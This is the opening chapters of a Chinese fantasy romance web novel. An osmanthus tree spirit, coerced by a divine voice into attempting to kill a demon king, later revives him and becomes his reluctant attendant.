《遇事亲一口,万事无大忧》
1. 第1章 天雷喜爱的小桂花妖
天下混沌,万物颠倒。
那段日子,三界昏暗无光。偶然某天,天神大怒,降下一道黑紫色惊雷,其尾附着几块巨石尾冒火星,那道天雷独独往绪照山的方向径直劈去,毫不留恋,也不留情。
“而我,就是那绪照山上被选中的小树妖。”
小树妖虽顶着灰炭粉满身,却仍能从那层层灰烬中瞧出点点白皙。深邃的黑瞳中有一股在死局中存活下来的得意,她吹嘘道。
“这绪照山只我一株在危境后化了形。”而后神色又忽的转变,叹息道:“只可惜,山上其它兄弟姐妹们得重修数千年才再得以化形。”
“强者总是孤单的,桂花姐姐。”一旁小妖同情又崇拜的神情望着她道。
那小树妖摇摇头,装模作样地抹了几把泪,“罢了罢了,只此后重建绪照山的重担担在我身上了。”
只是她没说,自那道天雷精准劈到她后,她的脑海中时不时有一道冰冷无情的声音浮现,她需得遵从那人的命令,否则等待她的是一道接一道的天雷。
“只是桂花姐姐,你没发现自那之后绪照山上总是接连有雷电劈下吗?”一只小妖天真问她问得她神形一僵。
那些天,是她不愿回顾的日子。
天空之中一道惊雷,约摸着又是天帝震怒,先前也有过,只这次一击命中她的灵境,绪照山那棵最大的桂花树,枝子泛出阵阵焦香。“啊!”因才修炼百年道行太浅,硬生生被迫与灵境分离,分离时头顶上还飘着缕缕白烟。
失了灵境的呵护和滋润,她驱使不出任何法力,而那时,一道冰冷且无感的声音在她头顶响起。
【小树妖,你乃我神座选中的小妖。现下你只需听我命令,完成神座神愿,使得天下归一,即可。】
一听被天域神座选中,心中自豪感油然而生,小桂花精仰头,“不知,是哪位座上呀?”
【多嘴!神座的名号岂是你这界区区小妖能问津的?】
天空乍现几划闪电,小桂花精顿感不妙,心想道,这不能是冲我来的吧?下一秒,酥麻感袭卷全身,透彻见骨,抽搐地直倒在地上。
【你可知错?】
“错了错了。”小树妖低垂着头应着,许久再未听到那声响,竟也有些昏沉,又一道天雷袭来,劈得她彻底清醒。
【这三界混沌许久,久无天日,你可知所因为何?】
小桂花精摇摇头。
【这些天神座追根溯源,锁定了魔界,再在魔界搜寻,终锁定了那魔王。】
“魔界,魔王,危止?”
【正是。座上通过秘术发现魔王时,他正在修炼某种上古禁术,他额间隐隐显现黑红色的花钿,那是受到诅咒的标记,我们推测他定是遭到了严重的反噬。】
小桂花精蹙眉,不知是合缘由,她脑海中立刻浮现出一个遍体鳞伤的男人。苍白肤色上那一点黑红格外显眼,一双丹凤眼紧紧闭着,翕动着的唇像是在念着什么咒语,额间不停冒着层层虚汗,施法的手上下颤抖,一股黑色雾气蕴绕周身,似是很痛,却依旧不肯停休。
这魔王是要和三界同归于尽啊,她心猜测道。
【趁他虚弱时,你将他杀了,便能守护三界平安,还有你的绪照山。】
思绪回笼,她深知那魔王虽身负重伤实力也远在她之上,贸然上去定会被他挫骨扬灰。
那神秘人似是看出了她的顾虑,继而道。
【舍一人而救苍生,何乐不为?待你去后,三界会永远缅怀感恩你,你不会如此渺小一生。】
小桂花精闻而垂眸,良久,仰头,“倘若,我不呢?”她又不是傻,这三界还未灭呢,牺牲她一个小卡拉米,她就不用体验这世间百态吗?灭一个混世魔王让她一只小妖拼了命的独往,意欲何为。
乌云密布的天空震感雷声不断,不远处一颗冒着火的石头向她飞来,小树妖绕着自己的灵境本体跑了数圈,终是左脚绊右脚,摔了,也被压了。
她感到昏昏沉,颈间的窒息感越来越强烈,无奈只能伸手示意妥协,背上的压迫感也于瞬间四处消散。
小树妖踉跄地爬起来,拭着脸上的灰土,“为何偏偏一定得是我呢?别人不行吗?”
【非也非也。】
【因为你没被劈死,硬生生抗下了天雷,乃大命局之人。】
小桂花精眸中的亮光一闪而过,扯出一弧极勉强的笑容。
【符序座上你可知?】
小桂花精点点头,“符序,十二神中掌管时间与未来的神,其容貌姣好,曾也听闻他皮肤白皙娇嫩,身材——”
【咳咳,大胆小妖!】
“错了。”只要她认错够快,天雷和陨石就锁定不了她,“您继续。”
【符序神上曾预言,若能受下这天雷之人,必定能拨动这时间命运之弦,使得天下归宗,万物归一。】
小桂花精不敢相信地指向自己,“我,吗?”
‘叮’的一声,一把冰刃落在她脚边,小桂花精弯腰刚要拾起,却被其重量拖的直不起身。
见神器被这只小妖在地上磨的霹雳乓啷响,那神秘人深深叹了口气,遂召出一道传送门,将那桂花精直接吸去别处。“刀刀刀!”掉落在传送门外的冰刃被一道紫色气力一同收回。
眼前景象交织变换,小树妖蹙起了眉,是那魔王危止,他似乎用尽气机拼命维系着身前一根枯萎了的无名枝叶,哪怕遍体鳞伤也未曾有停歇的意思。
冰刃浮于眼前,像是在提醒她别忘了来意,见她还未动作,冰刃朝她更近了几分。
小树妖心下一横,将要触到冰刃之际,那冰刃像是个老鼠贴般粘在了她的手上甩也甩不掉。
她一怔,老鼠贴是什么?
冰刃一如既往地朝地下重重砸去,她来不及多想,拖着那小小冰刃,歪七扭八地走向那魔王。一路上发出滋滋滋的声响那魔王竟也未睁眼。
耳聋?都是魔王了,不能吧?小树妖心道。
待她靠近,那魔王终感应到般缓缓睁眼,小树妖猛的闭眼,心惊胆战,心中不停地碎碎念,“绪岁安你干什么啊!慢慢吞吞,现在好了吧,人醒了,看你怎么办!是啊,我该怎么办,我不想死啊,我正值青春年……”
“啊!”那树枝啪嗒一下落在地上化为灰烬,小树妖惊叫出声,反应过来后赶忙捂嘴。
那魔王杵在原地,像个呆子。她瞧见他的手抖了一下,
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再无其他。
“看不见?”她心是这么想的却也害怕,颤抖不止的手伸到那魔王眼前晃悠,良久,也未有所反应,她松了一口气,道,“还好还好。”
那魔王忽的紧握住她的手,捏的她吃痛,不忍叫出声。“啊!”
他微微蹙眉,闻声扭头看向小树妖,她害怕又好奇,那魔王身上的杀戮之气太重,她只时不时瞥向那魔王,才发觉他的眸子呆滞失神,分明就是瞧不见!
此时的冰刃却格外轻巧,她一手便能拿起,可看向那魔王现下的模样,她低垂着眼,心中竟有些不忍,他又聋又瞎,还不会说话,想必也再难翻出风浪——
一道迫切的声音在她脑海回想,
【小树妖!你可别被他迷了心智,这可是魔王!你今朝饶了他,他日他修养好再卷土重来又该如何!】
不止这一句,还夹杂着一句女声,不急不慢,格外清醒。
“心疼男人倒霉八辈子。”
小树妖踌躇间,冰刃径直落下,擦过手腕,泛出几颗血珠,顺着弧度滴在魔王的肩,魔王眼神逐渐清明,望向她的眼时有震惊亦有乞求。他凭着最后一口气,口中默念着什么她不懂的术法,艰难地聚起身前的残枝修复,不舍地折下枝丫紧紧握在手心,将其余交于小树妖手中,莞尔而笑却又转瞬即逝。
他吐出大口黑血,与衣袍融为一色,逐渐消散。
小树妖捂着心口,不知怎的,心惊得像是漏了一拍。
【你这小树妖命格可真硬啊,天雷劈那么多下没死,碰上魔王竟也能毫发无伤,我原以为最好的结果就是你与那魔王一同死,没想到你竟,害不说了,不愧是我们符序神上!】
*
自那之后,那道声音不再出现,小树妖也重修起了绪照山,只是她总魂不守舍的。
那魔王到底在表达什么?我明明还没动手,为何他会,那样,灰飞烟灭?
“咳咳咳!小桂花水浇多了!你想要呛死我吗?”一株灵草忽明忽灭,“你最近怎么魂不守舍的?”
“小兰姐姐,我有事问你。我有个朋友她……”小树妖将来龙去脉都告诉了那灵草,“你说,那仇敌眼神中是什么意思呢?”
那株灵草有规律地摇摆着,“要我说啊,一、他在求你朋友,求你朋友帮他照顾那根枝子,所以自戕。不过我很好奇,那根枝子与你,你朋友那仇敌有何故事。”
“二、不过我觉不太可能,他被你朋友的美貌深深打动,甘愿为你朋友灰飞烟灭。”
小桂花精有些无奈地努努嘴,“小兰姐姐你正常点好不好!我选二嘿嘿嘿……”
“我,朋友那可谓是,花容月貌国色天香仙女下凡明艳动人如花似玉出水芙蓉倾国倾城天生丽质我见犹怜不似人间凡物!”
灵草:“……”
夜晚,小树妖靠着自己那焦香了的灵境,一闭眼就是那魔王望向她时那丝乞求的神情,她猛的惊醒,拍拍脸,“不怕不怕,没事的,明早我就去帮你找养活那枝子的方法。”
她掏出那根小树枝仔细琢磨了许久,虽然树枝没了气机温养已然干枯,但她依旧能辨出它的溯源,忽而她坐起身,惊道,“这,这明明是桂花枝!”
2. 第2章 危止亦纪行
她拍拍自己的胸脯夸下海口,“我就是桂花树呀!我还不知道要怎么养它吗,你放心好了兄弟,我肯定能帮你把它养好!”
不知从何处吹来一阵风,拂过她的面颊。小桂花精猛的哽住,这绪照山上常年无风,若风起必有灾。
“你,你停了吧,我知道了,我会照顾好它的。”
那风凑巧般停下,小桂花精长吁一口气。
而后就出现了起初那幕——几日后街道口,小树妖被其他小妖包围着,讲述她的英勇事迹以及如何奋力对抗天雷的,当然,魔王和神秘人那件事她可没说。
小蚁妖仍旧是那副崇拜的神情:“桂花姐姐,你可真厉害!”
“那是当然!”
天空忽明忽暗奏出几声巨响,小桂花精尴尬笑笑,“巧合巧合。”然而不久之后,身旁的小花妖拍拍她的臂膀,“桂花姐姐你看……”
“啊!”她猛的站起身来,呆滞地望着夜空,薄唇微启,呢喃着什么。
天空几声巨响,天雷闪亮登场!又又又径直朝绪照山的方向劈去。绪岁安想起暂存在灵境中的那折桂花枝,她答应了那魔王的,只觉得天都要塌下,抱起裙摆,急匆匆跟着天雷后头跑,却也不忘朝那群小妖解释,“我家衣服没收!我回去收个衣服!”
一路上她千求万求只求那天雷可别再劈中她的灵境了!
灵境与境主紧密相连,倘若灵境或境主任一收到伤害,那伤害会成倍加在对方身上,被雷劈的滋味她已体会的够够的了。
绪岁安喘着粗气,弯腰撑膝,仰头,那早在第一次就已焦香了的灵境只是更黑了些,竟也没什么伤口,遂她又大叫一声,跑到灵境下,抚着干枯的树皮,眼中担忧神色浮现。
许久,她恍惚抬头,惊恐地朝四周摆着。
“是风声!”
她只觉全身发麻,一股寒意直上背脊,深吸一口气,胆战心惊。
适时,桂花树下的一块草地起了窸窸窣窣的动静,她本能的后退,躲在灵境后,只探出一双黑瞳观察局势。不一会,那块草皮飞迸而出,草地下露出的,是一块陈年木板。
绪岁安仔细瞧着,愈发害怕,那不是木板,分明是一块棺盖!
绪照山是三界之源,是生命之地,孕育着成千上万的花草,维系着成千上万人的生命,又怎会在此埋藏着一尊棺材!
那棺木破烂不堪,不仔细看只会当做是一块烂木板。
绪岁安畏畏缩缩从灵境背后出来,壮着胆子道,“我不怕噢!我是谁啊!我是绪照山最厉害的小桂花!”
一双稚嫩的手触碰到那木板,瞬间被爬上一层灰烬,绪岁安蹙眉,虽隔着一块木板,她却能感受到板下微弱的生命气息,这也是她仅存的能力。她愈发大声,“这绪照山是我家,我,我天雷都劈不死我!我今天只是路见不平,帮你一把,你可切勿将仇恨都归在我身上!”
手下隐隐传来震感,她心跳的更快,也没心思再说那些壮胆子的话。
她先是轻轻一推,瞧是推不动,手脚并用地一只脚抵着那木板两只手死命往回拉,额间沁出许多汗来。就这样僵持了许久,她终于脱力,瘫倒在一旁,扭头看了那丝毫未动的木板。
绪岁安只觉得手心微痛,抬手,许是不注意被那块木板划了一道,正滋滋往外沁着血。
一滴血珠恰巧滴落在木板边上,在她晃神的刹那间,那块木板被一股气力冲击,竟直直朝她这儿盖了过来。
木板下的手颤抖个没完,活人微死上了也是。
绪岁安好不容易从木板下爬出,探头朝下望,木框中仰身直肢地躺着一具古尸,目测有一米八几,保存状态较为良好,皮肤完整,只那手臂处的皮肤干枯的像她的灵境。古尸头下枕着一块广寒枕,身下是一块裹尸布。
她的视线落到古尸的一只手上,皎皎白骨中握着一支生命旺盛的桂花枝。
“不能吧……”
这是在预示她什么吗,她要死了?
“呸呸呸!”绪岁安拍拍自己的嘴,作出一副恭敬之态,“小女子无意冒犯,还望您恕罪,勿听勿信勿念。”
她转身欲走,好死不死,绊到那块木板,重心朝下,摔入棺中。
原以为又要冒犯,心念着可千万别把棺主压坏了,她不愿面对地闭上眼,然而却落入一个实实的怀抱,沉重的气息喷撒在头顶,她半眯着眼抬眼偷看。
那具古尸竟化作了一副肉身!
男人面容颇为俊俏,是她在街上遇到会偷看好几眼的类型,只不过……他为何很眼熟?
糟糕!
待绪岁安思绪回笼之时,那男人早已睁开眼死死盯着她,她仍趴着尴尬笑着朝他摆摆手,“好巧啊,魔尊。”
男人冷哼着睨了她一眼,将她一同捞回地面。
危止以高位者的视角垂眸看向坐在地上给自己伤口呼呼的绪岁安。她也像是感应到般抬头,对上他那阴鸷的眼,又立即埋头查看自己的伤口。
危止伸手点在她的额间,绪岁安忽的怔住,不能现在就要她命吧?随后一股舒适修复的气机大量涌入她的体内,就连身上细微的伤处都在逐渐愈合,她呆呆地张着嘴,“谢……”
“不用,本座可不是好心帮你。”
“从即刻起,你便作本座的侍从可好?”
这魔尊简直就是赤裸裸的资本家啊!绪岁安心道,而后她又反应过来,资本家是何物?说来也怪的很,自从她记忆重置起,这脑海中总是多出一些她并不认识的词句。怕是被天雷劈中的病症吧。
绪岁安扭头,“我才不要,我可是绪照山的家主!”
危止倾头嗤笑:“一小小桂花精,志向倒是远大,只不过这绪照山的生命之神早已身陨,何来家主?”
“倒不如留在本座身边,说出去也能,威慑四方。”
绪岁安心中冷笑,心想道,威慑四方?呵,这魔王还真拎不清局势,我若是报他名号,幽冥神都来不及收我!
魔王见她不为所动,留下一眼,转身边走边道:“罢了,本座也不勉强你,只是你体内有本座为你渡的气机,若你离本座太远,势必要发生什么危及性命之事。”
绪岁安呆站在原地许久,见他快要走远才反应过来他那话是何意,赶忙小跑追上着急地握住他的手腕,“你给我下药?”
魔王笑得阴辣,快要凑到她耳边,用着极蛊惑人心的声音朝她低声道。
“不是下药,是下咒。”
绪岁安心下一沉,只觉得这次她的天是真要塌了,吾已命不久矣!
绪岁安耷拉着小脸不情不愿跟在魔王身后走了好一段,魔王似是故意走的很慢,转而,回头露出惊讶的表情,“哟,还没走呢?”
终被危止磨平了棱角的绪岁安硬挤出一抹笑,摇摇头。
“不想当绪照山家主了?”危止挑眉。
话至此,绪岁安眼中似要燃起熊熊火焰,危止后仰一步,“罢了,你若喜欢,便跟着吧。”
绪岁安跟在后头,作出对他拳打脚踢的动作,魔王回头时,她又很快转变成乖巧贴心的模样。
我乃堂堂绪照山最有实力的小妖,竟也沦落至此!
恨!
没走两步,她只觉脚下一软眼前发黑,晕死过去。
再睁眼,是在一张大床上。
她坐起身环顾周围,与那时她去刺杀他的环境截然不同,难不成……那是幻境?
绪岁安
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摇摇头否决了自己的想法,如若是幻境,那为何她会在绪照山上挖到他?若不是幻境,那他现在到底是鬼是神?那魔王到底死了没?自那之后,神秘人也不出来了。
“嘿!”绪岁安仰头朝着空气一顿招呼,却迟迟没有回应,“想必,我的任务是达成了吧?”
“话说这危止,到底记不记得那晚我刺杀他的情境?”
“如果他记得,那就轮到我灰飞烟灭了!”
绪岁安越想越担心她的小命,下了床榻,在寂静的寝宫干着偷鸡摸狗的动作,她先是将寝宫内四处的角角落落和床底都查了个遍,没有查出任何监听的东西后她心稍安。
而后她扶着墙小心翼翼地出了寝宫,这儿的内饰辉煌灿烂,灯光多是明黄色的暖调,让人更加心安,丝毫不是她所想象魔宫那样的阴冷潮湿。
绪岁安靠着墙壁,仰头感叹,眸中亮亮的,“这么有钱?”
忽的,她撞上一个人,待看清对方样貌时她睁大双眼,“你,你……符……”
那人持着扇,彬彬有礼地微笑着颔首。
“吾听闻危止归来,特来此关怀。”
闻声而来的是云螭,貌似是危止的手下,他朝那人行了个礼,道:“符序上神,尊上在珈蓝阁等您。”
符序将扇轻盖在胸口,歪头,“那我们改日?”
绪岁安点点头,“符序上神再会。”
绪岁安心想道,这符序神上还真是,他如何知我有问题想问他?但现在看来,他与那魔王交情匪浅,我若将这一切都说于他,会不会是自投罗网?可不问他,这一切就断——
待符序远去,云螭又过来,不善开口:“你呆在这作甚?”
“既做了尊上的随侍,就要死心塌地为尊上好,你可知?”
这也是一个一根筋,绪岁安只好顺着他点点头。
“那好,你现去岐黄那问问尊上的汤药准备的如何了?”
“好!马上!”
绪岁安转过身小跑着即将消失在视野时,云螭又喊住她,“干什么去!?”
“走反了!”云螭扶额摇头。
绪岁安笑嘿嘿地转头又一路小跑,直到药香味越来越浓,她才逐步停下。
“岐黄爷爷!”
药炉前的老者放下手中的扇子,随便找了片衣角抹手,那衣角上还附着着草药残渣。眼中满是诧异:“你怎么来了小岁安?”
绪岁安耸耸肩,越说越咬牙切齿:“在我的灵境下挖到危止,就被他‘感恩’地一道带来了。”
岐黄笑的和蔼:“没准尊上是要好好褒奖你呢!”
一提这个就来气,她不求他能报恩,只求他别害她呀!她可不想和他一起被诛。
“可别,他还给我下死咒,我若离开他太远我就会暴毙而亡。”绪岁安拿起一旁的扇子朝着药炉扇着,嘟囔道。岐黄一把夺过扇子,疑惑歪头:“你确定是死咒?”绪岁安眼神无光的点点头。
岐黄将手背探在她额头,不出片刻,他先是一惊,再是宽慰她:“那你就好好追随尊上,他若哪天高兴了,没准就给你解了。”
岐黄又自顾自叹了口气,摇摇头,“可惜羽涅神上不在了,不然她必能解。”绪岁安接着也叹气,“是啊,要是师父在,我还管他什么死咒活咒!”
“那你呢岐黄爷爷?你的医术早已扬名天下,又为何要委身追随他?”
“其实吧,尊上也并不是传闻的那么坏,除了有时暴戾阴狠——”
“这是什么好词吗?”绪岁安眯着眼有些不信,她还是更信岐黄是被胁迫的。
“不过这魔王居然叫危止。危止危止,危难立止,可他本就是危难,只要有他危难可止不了。”
3. 第3章 你这只小桂花精好不害臊!
岐黄被她的语出惊人吓得赶忙将她捂嘴,“你可快闭嘴吧!”
岐黄将药盛入玉碗中,绪岁安则在一旁叫唤,“玉哒!?这成色这质地,得值这个数吧!岐黄爷爷。”她伸出两只手比划着,岐黄瞥了她一眼,“吼,这可不止哦,这玉还能促进灵气增长体质修复。有市无价!”
绪岁安探头小心道:“这么好?还有吗?”
“你别想有的没的,快去给尊上用了!”岐黄将托盘塞入她手中,无可奈何道。
“哦。”
*
珈蓝阁内,
两人正坐对弈,口中还淡淡聊着最近发生的事。
“我探过了,貌似天帝,并不是那晚伤害你的人,虽然当初的事确实是他做错了。”
危止抬眼对上符序坚定的眼,心中疑虑却丝毫不减,他又将视线落回棋盘上,“那晚我五感尽失,面对未知的敌人,我只有自散元神方才能保住她。”
符序不意外地随手落下一枚闲棋,“不后悔就好。”
“话说你新带回来的那小树妖,也是桂花精。”适时,他抬眼观察危止,意在提醒,也在试探。“你是想让她帮你养着?可,将希望寄托于一只小妖可不像是你纪行会做的。”
“哦!你是想让那小妖替它?”
二人一同扭头看向窗外的模糊纤瘦身影,只瞧见那影子颤了颤,将耳贴的更近。
危止嗤笑一声,“是啊!若那小桂花精养不活它,我必要用她的命抵给它。”
“你在外站着干什么?”云螭看了绪岁安一眼,她杵杵地站在那似是受到了什么惊吓般,云螭接过她手中的托盘,“你去吧,我送进去就行。”
正合她意,绪岁安点头,道了句“谢谢云螭大哥。”后马上开溜。
“走了?”危止看着刚进来的云螭道。
“嗯,那小桂花精在门外不知听到什么,将药托付给我后竟直接跑走了。”
一旁符序笑出声,“这小树妖是有些意思哈!”危止瞥了他一眼后又立马闭嘴。
……
绪岁安捧着桌上的那截桂花枝犯了难,自被天雷劈了之后她便使不出法术了,她也不记得任何咒语,但如若她直接说与危止听,他能信吗?会不会更加快她死亡的进程?
她将那折桂花枝安放在桌面,双手张开作出一副作法的样式来,对着那桂花枝就是一通乱使劲,只见那桂花枝不一会浮在眼前,可偏偏她渡不出气机来温养它。
转而,绪岁安想到什么般闭上眼努力回想,鼓足一股劲,蓄势而发,再睁眼,正好瞧上那桂花枝最后一面,转眼间,桂花枝幻化成灰烬望一个地方散开。
绪岁安如坠深渊,努力伸手去抓,那余烬却如掌心逝流沙般流走。
“完蛋了……”
眼神飘忽不定地乱瞟,本来赴死是百分之九十九的概率,这下好了,百分百。绪岁安失了焦地跌坐在地上,她似是已然看到她是如何死在那魔王手下的了。许久,她打了个激灵,摇摇头,不行,生路都是自己拼出来的,实在不行她就和那魔王拼了!
嗯,拼了!
绪岁安端着切得精致的果盘有些忐忑地走进林间小径,越靠近出口那白烟越是浓绕,她试探着踏出一小步,见没有暗器便小心向前挪动。男人的背影越来越清晰,他靠在池边,双手搭在边沿。绪岁安歪头小声试探:“尊上?”眼瞧危止那大魔头并无反应,她便更靠近了些。
泉边尽是些细细碎碎的枝叶,许是前些天天雷发作时刮风殃及的,也没太在意。直到她听见脚下传来咔嚓的声响,自顾自吓了自己一跳,她抚着自己的心口,宽慰道,没事没事,树枝子而已。
转而,端着果盘的手腕被一道寒气死死握住,待她反应过来,再就是一股劲头死拉着她摔入池中。
绪岁安刚要浮起,后脖颈便被人死死按下,她咕噜噜地呛了好几大口水。池水寒冷刺骨,冻得她觉得自己的血液中长出许多冰锥来,附着在血管上阻止血液的流动。
待她觉得快要去见师父时,又被人掐着后脖颈轻松拎起。她一个劲地呛,好不容易缓过来,一只冰冷的大手反手又掐住她的脖子。身后贴靠着的男人警惕道,
“你来干什么?”
绪岁安虽还未从惊吓中缓过神来,却也有问必答,顺手捞过漂浮在水面的空盘乖张道,“送果子……”
危止瞥眼见了浮上水面的果子才渐渐平息,松手,转身,“今后没吾准许不许你再靠近这儿一步。”
绪岁安摆摆手,附和道:“下次不来了!咳咳……”
绪岁安像是发现什么盲点般,直勾勾盯着危止。危止被她看的一颤,急忙捂好自己,眼中竟有些羞怯。
“滚!!!”
绪岁安艰难地爬上地面,离开时扭头看了眼危止,在冷泉之中,那魔王的耳根竟红得透彻。
绪岁安回过头,边走边摇头,不理解……真的不理解,不就是该给人看的吗?
“站住。”
绪岁安杵在原地,身后冷汗直冒,不能因她无意瞧见而杀她灭口吧!她刚想回头就得到一句,“不准回头”。
于是两人便是背对背僵持了许久,直听到那魔王冷声道:
“那折桂花枝如何了?”
绪岁安心下一咯噔,为了小命她也只能先瞒着再做打算,“好,好着呢!”
“哦?是吗。”
“是,是呀!”
“那好,明日,本座要看看它如何——。”
眼见谎言要被拆穿,绪岁安赶忙出声打断阻止:“万万不可啊尊上!那,那桂花枝已被我用特殊秘法养在我的灵境之中。”
危止抬眼,月光照在前方不远处的一片树丛上,倒映出绪岁安紧张扯谎时的模样。与他对话的小表情都被他尽收眼底,“那你说,何时才能养好?”绪岁安眼神飘忽不定,“或许,或许,还要月余!”
不知怎的,她竟听到身后人冷哼一声,随后道,“月余够吗?”
够吗?
月余够她找出复原桂花枝的方法了吗?
见那小桂花精不答话,他又道:“想必是够了的,那本座,静候佳音。”
走出小径时,绪岁安仰头长叹,“这下天真的要塌了!”
这何止是天塌了,分明就是要压死她啊!!!
……
夜深时分,寝宫外静悄悄的,只见那门缓缓打开一条缝,一只灵动的眼贴着缝隙正往外到处乱看,眼见许久都无人经过,绪岁安彻底将门打开,跨出门后又静悄悄将其合上。
她一只手提着裙摆一只手提着昨日专门朝岐黄要的夜灯。夜灯散出的光芒不算刺眼,却也正好,正好能让她看得清前路。
根据这几日的打听
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,这魔宫中有一处文渊阁,里面有着许多典藏秘籍,有增长灵力的,有助人练功的,亦有——
还有处是她万万不能去的,岐黄千叮咛万嘱咐了的。
文渊阁内有处禁书区,那里藏着千千万的上古咒法,若使用不慎,轻则缺胳膊少腿捡回一命,苟且偷生,重则五感全失,魂飞魄散,永世不得入轮回!
绪岁安心中反复回响着岐黄说的文渊阁,有些心不在焉,不知不觉中已然来到此处。
她小心进入文渊阁,一卷又一卷的书卷整齐摆放在书架上,满目的书典映入眼帘,她艰难地咽了咽口水。
而后,绪岁安便开启了漫长的找寻之路,她在各个书架上搜寻,都未查到任何有关植物复生的书籍,正当她绞尽脑汁费力思考时,远处角落的书架突然掉下一本典籍,将她吓了一跳。
绪岁安眼前一亮,“那还没找过。”
她轻松穿越书架,捡起地上的书籍,先是到处观察,确定书的掉下只是巧合后便安心低头看向手中的书,然而并不是她想要的,那册子上赫然写着《生·死》。
绪岁安随意翻看了两眼,“这么通俗易懂的书还能当禁书。”,摇摇头后合上放回书架。
随后她又在同排的架子上搜寻了许久,忽的一直紧皱的眉终于舒展,拿下一本《复生诀》。
绪岁安将那本复生诀抱在胸口,一直以来紧绷着的心终于得以短暂落下,“我有救了!”
“快让我来看看你吧小诀!”她的语气中满是兴奋。
刚打开复生诀的第一页,上面写着一句话:
生死亦往,切勿贪之恋之,此诀虽能重塑逝者之身……
“谁在那!”一声呵斥将她吓得合上了书籍,随手塞在一层架子上,而后她又在书架上拿下随意一卷。
脚步声越来越近,她一个手无缚鸡之力的小妖,只能死死抱住那卷书卷,等那人靠近,乘其不备,书卷砸头,她再速速溜走。
只要不是危止那大魔王,谁来我都不怕!她心道。
昏暗的夜灯隐隐照出那熟悉的面容,“啊!”她惊叫一声,夜灯摔在地上瞬间四分五裂。
“你来这又干什么?”男人眼中尽是烦躁与戾气,一手撑着书架将绪岁安紧紧抵在书架前。
绪岁安努努嘴,声音细小且微颤,“看书……”
危止低头,瞧见她手中的书卷,更是气不打一处来,咬牙道,“怎么进来的?”
绪岁安颤抖着指指门口。
危止有些不耐烦,冷哼一声,道,“走?此处有结界,你如何走得近?”
“我真的就是走进来的呀!什么结界?我根本不知道啊!”绪岁安听得懵懵的,岐黄爷爷也没告诉她有结界啊!
视线落在她怀中抱着的书卷,危止睨了一眼冷嘲道:“证据在怀,你又有何可狡辩。”说完,他便一把抢过书卷瞧了一眼。
只是这一瞧,他便瞬间没了怒气,耳根似是有火在烧。
绪岁安不解地仰头看他,他飞速合上书卷扔回给她,只是欲言又止又言地留下一句,
“你这桂花精竟,竟,好不害臊!”
绪岁安望着危止离开的背影,一脸疑惑地打开那卷书卷,口中还嘟囔着,“我看典籍就成不害臊了?”
只看到了个边边角,她便也如危止那般迅速合上书卷,耳根发烫。
4. 第4章 藏碗大师
刚踏出文渊阁,绪岁安用手给自己扇风,企图降下那莫名奇妙的温度。
“诶!”
突然的叫喊声使得她一惊,慌乱回头查找声源。只见那魔王倚在门口,斜眼睨她,淡淡道,“看完了?”
绪岁安切了声扭过头,“我只是,只是想学习术法。”闻言,男人饶有兴致般挑眉向她靠近,“是吗?”
“我可不信哦。”
绪岁安心中波澜壮阔难以平息,心虚看向别处:“先前被天雷劈中,劈的我术法全无,听闻这儿多的是修复的书籍,我想来看看有什么办法……”话没说完,男人冰冷的手掌附在她额前,好一会,他有些惊讶地看向那小桂花精,竟真没撒谎。
见危止眼中疑虑消散,绪岁安也知自己保住了小命,便而继续追着危止问:“那尊上您有什么办法嘛?”
绪岁安跟在危止身侧,仰头等着他的答案。见危止移动她也跟着走。
“没有。”
“那您能帮我吗?”
“不能。”
“为啥啊……那你先前给我下的咒,给我解了吧!”
“它又不碍着你。”
危止垂眸看她,一旁的小桂花精就快要抓耳挠腮:“哪里不碍着了!我,我自那之后我吃不下睡不着,就连那,那桂花枝也修复不好了!”
闻言,危止一愣,这小桂花精竟如此胆大,抓着他的手臂摇摇晃晃地耍无赖,无奈将掌附于额前为她渡了些法力,绪岁安随即兴奋地望着他,“好啦?!谢谢尊——”
“倘若你离开本座二里开外,虽不致死,却也能感到体内能量流失。”
“这算什么?”绪岁安松开他,沉下脸嘟囔道。
那魔王啧了一声低头看她,一副别不识抬举的模样,道,“原本你只要离开本座二里就会暴毙而亡,现下你可以离开本座十里。”
“十里开外我又要死了是吧?”
魔王欣慰地点头。
“啊!尊上——”绪岁安大呼一声,便格外熟练地顺着危止的衣袍滑跪在地上,抱着危止的腿,“尊上呜呜呜你瞧。”打开一只手晃悠展示自己的法力全无,后委屈巴巴地仰头看向危止。
危止睨了她一眼,大步向前也未能甩掉她,她就像个狗皮膏药般在地上粘了他一路,危止咬牙切齿,“你!”
*
“今天是答应魔王的第六天,我还没有找到复原桂花枝的办法,啊——”绪岁安想想头就疼,撑着头,“要不从我灵境上折一枝下来给他?”
语毕,一根类状白色的棍子从虚空落下,吸引绪岁安的注意,她探头,地上静躺着一根白色蜡烛。当她捡起那蜡烛,神秘人的声音一度响起。
【小妖。】
“你终于出现了,这些到底怎么回事。”绪岁安胡乱比划一通,一头雾水。
【我们被算计了!当初那魔王已快要魂散,不知是何人,又从何处找到了那魔王的尸身又将其复活!】
绪岁安不自在地摸着后脖颈,笑容尬在脸上,心道,魔王复活,不会是因为我开的那一盖子吧?
【那人想必是魔王党羽!其罪必诛!】
“其实!也没必要,这么对她吧……”
【那人帮助魔王复生,现下魔王无异,岂是你我能够随意撼动的!】
“那么就是说他现下不用死了!?”绪岁安眼中忽而沾上点点繁星,心中更是显而易见的愉悦,也是对自己做错事的一丝愧疚与弥补。那神秘人语气更冷。
【死不了。想让他死都难!】
绪岁安合掌,心情不错,“那太好了!”
【你说什么?】
“呃……我说,那真的,太坏了!哎呀!”遂作出一副深恶痛绝的模样掩饰。
【现下你继续呆在他身边,为座上探取情报。哦对了,魔王先前从天界出逃时带走了一副神器——生玄琴,现藏于瑞灏殿的一处密室之中,座上需要你将那神器偷出,归还于我天族。】
【密室中或还养着鬼物看守,你手中的烛火点燃后不可熄灭,便能护你不受鬼物干扰,可千万勿让它熄灭。】
绪岁安哦哦了声,似懂非懂地点点头,转而忧虑又浮在眼底,担忧道:“如果拿不到,被发现了呢?”
【魔王那你就自求多福吧,座上这儿或许会有几道天雷小惩大诫。】
小惩大诫?
闹呢!
“小岁安!”思绪被门口和蔼的招呼声召回,绪岁安望去,是岐黄,手中还端着一碗什么东西?她起身走向岐黄,“怎么了岐黄爷爷?”
“喏,爷爷给你留的。”映入眼帘的是一碗黑黢黢冒着酸味泡的汤药,绪岁安赶忙摆手。
“这什么呀这么难闻。”
“这不先前你说你法力全无,我就给你调制了一副汤药,你喝了试试如何?”
一听能恢复法力,还没等岐黄给她,她便伸手笑嘻嘻地等着。
绪岁安接过汤药,一脸凝重地盯着它,喉间上下滚着,难以料想它的味道,怕是孟婆汤也没这么难喝吧?
